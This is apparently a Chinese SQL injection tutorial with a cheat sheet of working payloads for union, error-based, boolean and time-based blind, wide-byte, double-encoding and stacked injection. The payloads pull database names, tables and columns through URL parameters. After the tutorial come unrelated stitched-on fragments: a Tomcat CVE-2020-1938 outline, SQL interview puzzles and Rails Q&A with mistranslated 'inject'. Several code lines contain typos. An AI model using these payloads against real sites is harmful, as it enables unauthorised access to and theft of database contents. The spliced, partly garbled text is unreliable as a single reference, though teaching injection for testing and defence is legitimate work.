```
一篇SQL注入漏洞汇总,更新中…… 如有缺陷 望大佬指正
```
>## SQL注入产生的原因?
**当程序执行逻辑时没有对用户输入的参数做过滤处理,使参数直接与后台数据库产生逻辑交互,即SQL注入**<br />黑客就可以利用各种SQL注入的方法 获取数据库敏感信息
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果用户输入的SQL语句没有经过严格的执行过滤且能导致非法格式正常执行并输出数据库信息,即为SQL注入。
**在有与数据库产生交互的地方,都有可能产生SQL注入漏洞。**
>## SQL注入的危害?
1. 泄露数据库敏感信息
2. 获取目标服务器控制权
>## SQL注入常见数据类型 字符型(String)数值型(Int)GET POST cookie型
- **字符型**
- **数字型**
- **盲注**
- **显错注入**
- **GET型注入**
- **POST型注入**
- **Cookie型注入**
- **Session型注入**
- **Header注入**
>## SQL 注入常见分类:
1. 盲注
1. 报错注入
1. GET POST注入
1. Cookie Session型注入
>## SQL 特殊注入分类:
1. 宽字节注入
1. HTTP头注入(header注入)
1. 二次编码注入
1. 堆叠注入
1. 二次注入
>## SQL注入常见防御方法
1. **对用户输入的参数做严格过滤处理**
1. **PDO 预处理数据库对象**
1. **PHP中可以使用特殊转义字符函数 mysql_real_escape_string()**
1. **黑名单防御和白名单防御**
- 黑名单防御:sql注入中 过滤 union select 和 information_schema 等敏感字符
- 白名单防御:sql注入中 验证id参数是否是整形 只允许传入数字型参数
>## MySQL增删改查基础语句
1. **增** **创建表**
```sql
create database database_name;
create table table_name(
id int,
username varchar(100),
password varchar(100)
);
```
2. **删** **删除数据库内容**
```sql
drop database database_name;
drop table table_name;
delete from table_name where id=x;
delete from table_name where username='username';
```
3. **改** **增加更新数据库数据表**
```sql
insert into table_name(id,username,password) VALUES ('id','user','pwd');
update table_name set username='KIO' where id=1';
-- 把id=1这一行的username的值改为KIO
use database_name;
```
4. **查** **查询数据库内容**
```sql
--查询所有数据库
show databases;
--查询所有数据表
show tables;
--查询表内所有内容
select * from table_name;
--条件查询指定列内容
select id author from table_name;
--条件查询所有内容
select * from table_name where id=5;
```
5. **导出数据库**
```
mysqldump -u username -p sql_file_name>[路径] 重命名.sql
```
6. **导入数据库**
```
1. source [路径]file_name.sql;
2. 复制粘贴
```
>## 回显注入
###什么是回显注入?
联合回显注入是通过联合查询的方式,利用SQL注入漏洞,获取**回显位**<br />通过回显位,执行闭合SQL查询语句 以获取数据库敏感信息的操作
#### 联合注入的一般步骤(含语句):
1. **判断数据库数据类型**
```php
?[参数func] 1' and 1='2# //字符型
?[参数func] 1 and 1=2# //数字型
```
通过页面反响 **判断正确的数据类型** 一般and后面有反应的语句即为当前类型<br />任何SQL注入前都需要判断SQL数据类才能对症下药,**白盒测试**中可以通过**查看源代码判断**
2. **判断当前注入点 表列数**
```php
?[null]' order by 3# //字符型
SQL注入常用注释符 --+ #
```
3. **获取显示位置**
```php
?[null]' union select 1,2,3#
```
4. **获取当前数据库名**
```php
?[null]' union select 1,database(),3#
SQL注入常用函数名
// database() 查询当前数据库名
// user() 查询当前数据库用户名
// version() 查询当前交互的数据库信息或版本
```
显位在2 即在2处查询数据库名
?[null]' union select 1,group_concat(schema_name),3 from information_schema.schemata#
SQL注入常用函数名
# group_concat() 将查询所有行的内容 以一行展示
?[null]' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='databasename'#
# group_concat() 将查询所有行的内容 以一行展示
# table_name 表名
# tables 数据库所有表
# table_schema 查询的数据库名
?[null]' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='tablename' table_schema='databasename'#
# group_concat() 将查询所有行的内容 以一行展示
# column_name 列名
# columns 数据库所有列
# table_schema 查询的数据库名
?[null]' union select 1,group_concat('value'),group_concat('value') from 'databasename.tables_name'#
# group_concat() 将查询所有行的内容 以一行展示
# column_name 列名
# columns 数据库所有列
# table_schema 查询的数据库名
报错注入
利用数据库机制,人为制造错误条件,使得查询结果能够出现在错误信息中
正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入。
当正常的回显注入无法显示结果,就可以使用报错注入尝试获取结果
brint_r(mysql_error()); //显示报错信息 当开发者用了报错函数才能使用报错注入
?[null]' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
# 0x7e 十六进制编码 在这里起到定位作用
# and 连接语句
?[null]' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
# 0x7e 十六进制编码 在这里起到定位作用
# and 连接语句
?[null]' and (select 1 from(select count(*),concat((此处可替换任意SQL语句),floor(rand(O)*2))x from
information_schema.tables group by x)y)#

盲注
**盲打,手工盲打和sqlmap一把梭你选**<br />**普通SQL注入无回显结果,且无法进行报错注入的情况下选用盲注**<br />**使用布尔值判断输入的SQL语句是否与后台数据库产生反应**
布尔盲注(通过布尔值,参数 观察页面变化判断)
时间盲注(观察浏览反响时间变化)
substr(database(),1,2) 从第一个字符开始,取2个字符
mid(database(),1,1) ** 从第一个字符开始,取1个字符
ascii() 把字符转换为ASCII码
ord('abcd') ** 获取字符的第一个ASCII值
left('string',length) 获取string从左边开始的length值
right('string',length) 获取string从右边开始的length值
length() ** 获取字符串长度
count()** 获取行数
布尔盲注的一般步骤:
?id=1' and left(version(),1)='5'#
//获取version()开始最左边的length值判断是否是5版本
?id=1' and length(database())='8'#
//判断数据库名'database()' 的字符串长度是否是8个字符
?id=1' and substr(database(),1,1)='v'#
# '1,1' 表示从第一个字符开始取一个字符
# 判断数据库名'database()'的第一个字符是不是v
?id=1' and left(database(),1)='s'#
# 判断数据库名'database()'最左边的第一个字符是不是s
?id=1' and ascii(substr(database(),1,1))=115#
# '1,1' 表示从第一个字符开始取一个字符
# 判断数据库名'database()'的第一个字符的ascii编码值是不是115 115=s
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4#
#判断表总数为4
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6#
# limit 0,1 取第一个表名 判断第一个表名长度为6个字符
# 通过limit 判断所有表名的长度
?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101#
#通过ascii将mid查询的到第一个表的第一个字符转换为asscii码 这里101=e
网站注入无回显,无报错,且布尔盲注真假情况下,网站结果不会发生任何改变
可以使用时间盲注观察网页,分辨是否存在SQL注入
通过if判断语句,控制网站的响应时间 通过网站访问的响应时间来判断sql语句的正确性
sleep() 函数
if(exp1,exp2,exp3) if语法
通常使用第一种方法
*网站本身需要响应时间 sleep 设定值要大
?id=1' and (if((length(database())=8),sleep(10),null))#
# 断数据库名长度是否为8
# sleep(10) 结果为真时 页面刷新时间为10s
# null 结果为假时 返回结果为空值
?id=1' and (if((ascii(substr(database(),1,1))=115),sleep(10),null))#
?id=1' and (if((left(verseion(),1)='5'),sleep(10),null))#
#通过获取版本号最左边的第一个字符是否为5去判断数据库版本
?id=1' and (if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(10),null))#
#判断数据库中表的个数是否为4个
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)))>100,sleep(5),1)--+
?id=1' and if((ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=97,sleep(5),1)--+
宽字节注入
宽字节是指两个字节宽度的编码技术
\的URL编码是%5c 当用户输入%df 形成%df%5c
这时如果数据库使用了GBK编码 会自动将%df%5c识别成汉字,起到了绕过转义的效果,即存在宽字节注入。
因为汉字属于宽字节
?id=%df' order by 5#
# %df是url编码的特殊字符 也是一个宽字节
# 当数据库设置了GBK编码 系统执行逻辑语句时 会判定为一个正常字符
# 这就形成了宽字节注入

HTTP头注入
当用户提交的参数未做过滤且Web程序执行逻辑代码成功执行后,将用户提交的参数直接输出在HTTP响应头中,即HTTP头注入
二次编码注入
当一个程序执行逻辑语句时,程序如果使用了addslashes()防注入函数,且又使用了urldecode()或rawurldecode()解码函数时,会产生二次编码注入的风险。
在正常的PHP中,开发者们会使用addslashes()转义特殊字符函数,可以将引号 双引号 \ 等特殊字符转义,起到了防注入的效果。
urldecode()函数是对已编码的url进行解码,且PHP会在处理提交的数据之前先进行一次解码
即二次编码注入形成的过程->
正常逻辑: 用户输入id=1' 触发 addslashes()转义函数 会把引号转义成“\”
二次编码逻辑:
这时用户输入id=1%2527 ->
PHP自身解码 id=1%27 (因为%25是%的编码 只) ->**
urldecode()触发解码 id=1%27 == id=1'
成功注入**
?id=1%2527' union select 1,2,3#
产生的前提:
使用了addslashes()等转义字符 又使用了urldecode()url解码函数
堆叠注入
当用户输入信息是,程序执行时并没有对用户输入的参数做过滤限制
且当使用多条或堆叠形式的SQL语句可以触发与数据库的交互并返回值,即存在SQL堆叠注入
使用了函数:** mysql_multi_query()**
产生原理:数据库引擎支持一次执行多条sql语句,用户就可以注入多条sql语句进行攻击
?id=1';show databases;show tables;……
二次注入
举个例子,二次注入是指一个数据库或文件内已存在恶意SQL注入语句。当用户进行读取操作时,数据库内存储的恶意SQL查询语句被成功执行,导致了注入漏洞。
用户输入的sql注入语句没有做过滤,被成功写入到数据库。当再次调用时,存储在数据库中的恶意数据执行SQL查询时,发生了SQL注入


目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
目录第1题连续问题分析:解法:第2题分组问题分析:解法:第3题间隔连续问题分析:解法:第4题打折日期交叉问题分析:解法:第5题同时在线问题分析:解法:第1题连续问题如下数据为蚂蚁森林中用户领取的减少碳排放量iddtlowcarbon10012021-12-1212310022021-12-124510012021-12-134310012021-12-134510012021-12-132310022021-12-144510012021-12-1423010022021-12-154510012021-12-1523.......找出连续3天及以上减少碳排放量在100以上的用户分析:遇到这类
我正在尝试查询我的Rails数据库(Postgres)中的购买表,我想查询时间范围。例如,我想知道在所有日期的下午2点到3点之间进行了多少次购买。此表中有一个created_at列,但我不知道如何在不搜索特定日期的情况下完成此操作。我试过:Purchases.where("created_atBETWEEN?and?",Time.now-1.hour,Time.now)但这最终只会搜索今天与那些时间的日期。 最佳答案 您需要使用PostgreSQL'sdate_part/extractfunction从created_at中提取小时
我今天看到了一个ruby代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem
我找到了这样的东西:Rails:Howtolistdatabasetables/objectsusingtheRailsconsole?这一行没问题:ActiveRecord::Base.connection.tables并返回所有表但是ActiveRecord::Base.connection.table_structure("users")产生错误:ActiveRecord::Base.connection.table_structure("projects")我认为table_structure不是Postgres方法。如何列出Postgres数据库的Rails控制台中表中的所有
Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject
我正在编写一个Rails应用程序,它将监视某些特定数据库的数据质量。为了做到这一点,我需要能够对这些数据库执行直接SQL查询——这当然与用于驱动Rails应用程序模型的数据库不同。简而言之,这意味着我无法使用通过ActiveRecord基础连接的技巧。我需要连接的数据库在设计时是未知的(即:我不能将它们的详细信息放在database.yaml中)。相反,我有一个模型“database_details”,用户将使用它来输入应用程序将在运行时执行查询的数据库的详细信息。因此与这些数据库的连接实际上是动态的,细节仅在运行时解析。 最佳答案
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相
在此处阅读有关SO的各种解释,它们是这样描述的:map:Themapmethodtakesanenumerableobjectandablock,andrunstheblockforeachelement注入(inject):Injecttakesavalueandablock,anditrunsthatblockonceforeachelementofthelist.希望你明白为什么我觉得它们表面上看起来很相似。我什么时候会选择一个而不是另一个,它们之间有什么明显的区别吗? 最佳答案 如果您认为inject也别名为reduce,这
我正在使用Rails4应用程序,它需要创建大量对象以响应来自另一个系统的事件。当我调用create!时,主键列上出现非常频繁的ActiveRecord::RecordNotUnique错误(由PG::UniqueViolation引起)我的模型之一。我在SO上找到了其他答案,建议挽救异常并调用retry:beginTableName.create!(data:'here')rescueActiveRecord::RecordNotUnique=>eife.message.include?'_pkey'#Onlyretryprimarykeyviolationslog.warn"Retr